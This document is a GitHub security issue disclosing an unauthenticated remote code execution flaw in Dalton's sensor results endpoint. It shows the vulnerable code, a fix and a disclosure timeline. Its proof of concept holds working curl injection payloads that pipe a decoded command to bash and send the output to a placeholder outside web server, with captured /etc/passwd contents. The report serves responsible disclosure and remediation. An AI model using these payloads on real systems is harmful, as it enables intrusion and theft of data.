-
Notifications
You must be signed in to change notification settings - Fork 97
Open
Description
Security Vulnerability Report - Unauthenticated RCE
Vulnerability Summary
Severity: Critical (CVSS 9.8)
Type: Unauthenticated Remote Code Execution
Affected Versions: All versions up to and including 3.2.5
Authentication Required: No
Description
A critical security vulnerability has been discovered in Dalton that allows unauthenticated remote code execution on the dalton_controller. The vulnerability exists in the /dalton/sensor_api/results/<jobid> endpoint where the jobid parameter is not properly sanitized before being used in shell command execution.
Technical Details
File: app/dalton.py
Function: post_job_results()
Lines: 890-895
Endpoint: /dalton/sensor_api/results/<jobid>
Root Cause
- Missing Authentication: The
@auth_required('write')decorator is commented out - Unsanitized Input: The
jobidparameter is used directly in string formatting - Dangerous Shell Usage:
subprocess.Popen()is called withshell=True
Vulnerable Code
@dalton_blueprint.route("/dalton/sensor_api/results/<jobid>", methods=["POST"])
# @auth_required('write') # Authentication disabled!
def post_job_results(jobid):
u2_file = os.path.join(
TEMP_STORAGE_PATH, "%s_unified2_%s" % (jobid, SENSOR_HASH)
)
u2spewfoo_command = "%s %s" % (U2_ANALYZER, u2_file)
alert_detailed = subprocess.Popen(
u2spewfoo_command,
shell=True, # Dangerous with unsanitized input
stderr=subprocess.STDOUT,
stdout=subprocess.PIPE,
).stdout.read()Impact
An unauthenticated attacker can:
- Execute arbitrary commands on the dalton_controller system
- Gain full control of the container/host running Dalton
- Access sensitive data including PCAP files and configuration files
- Perform lateral movement to other systems
- Install persistent backdoors or malware
Proof of Concept
Basic command injection example:
- Base64 encode the command to execute
# 'cat /etc/passwd' is the command to be executed on the target system
echo "cat /etc/passwd" | base64 -w 0- Send vulnerable request
# Note that "alert_detailed":"SGFsbG8gV2VsdCE=" is just a sample. Every base64 string will be accepted
# Basic command injection
# <jobid> = <ARBITRARY NUMBEr>||<COMMAND>;#
curl -X POST "http://target/dalton/sensor_api/results/1||<COMMAND>%3b%23" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "json_data={\"status\":\"true\",\"alert_detailed\":\"SGFsbG8gV2VsdCE=\"}"
# For example executing 'cat /etc/passwd'
# Spaces are replaced with ${IFS}
# -> URL decoded POST request: /dalton/sensor_api/results/30||curl <WEBSERVER ADDRESS> --data "echo <BASE64 ENCODED COMMAND FROM ABOVE>" | base64 -d | bash" ;#
curl -X POST 'http://target/dalton/sensor_api/results/30||curl${IFS}<WEBSERVER ADDRESS>{IFS}%2d%2ddata${IFS}\"$(echo${IFS}Y2F0IC9ldGMvcGFzc3dk|base64${IFS}-d|bash)\"${IFS}%3b%23' \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "json_data={\"status\":\"true\",\"alert_detailed\":\"SGFsbG8gV2VsdCE=\"}"- Get the command output in the request body
POST / HTTP/1.1
Host: <WEBSERVER ADDRESS>
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 838
Content-Type: application/x-www-form-urlencoded
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
Recommended Fix
- Enable Authentication: Uncomment the
@auth_required('write')decorator - Input Validation: Implement strict validation for the
jobidparameter - Avoid Shell Execution: Use
subprocess.Popen()withoutshell=True
Suggested Code Fix
import re
@dalton_blueprint.route("/dalton/sensor_api/results/<jobid>", methods=["POST"])
@auth_required('write') # Re-enable authentication
def post_job_results(jobid):
# Validate jobid format
if not re.match(r'^[a-zA-Z0-9_-]+$', jobid):
return Response("Invalid jobid format", status=400)
# Use subprocess without shell=True
u2spewfoo_command = [U2_ANALYZER, u2_file]
alert_detailed = subprocess.Popen(
u2spewfoo_command, # List instead of string
stderr=subprocess.STDOUT,
stdout=subprocess.PIPE,
).stdout.read()Disclosure Timeline
- Discovery Date: 15.09.2025
- Report Date: 17.09.2025
- Proposed Disclosure Date: 90 days from report date
- CVE Request: Submitted to MITRE
Additional Information
- This vulnerability affects the core functionality of Dalton
- I am willing to assist with testing any proposed fixes
- I request that this vulnerability be assigned a CVE ID
Metadata
Metadata
Assignees
Labels
No labels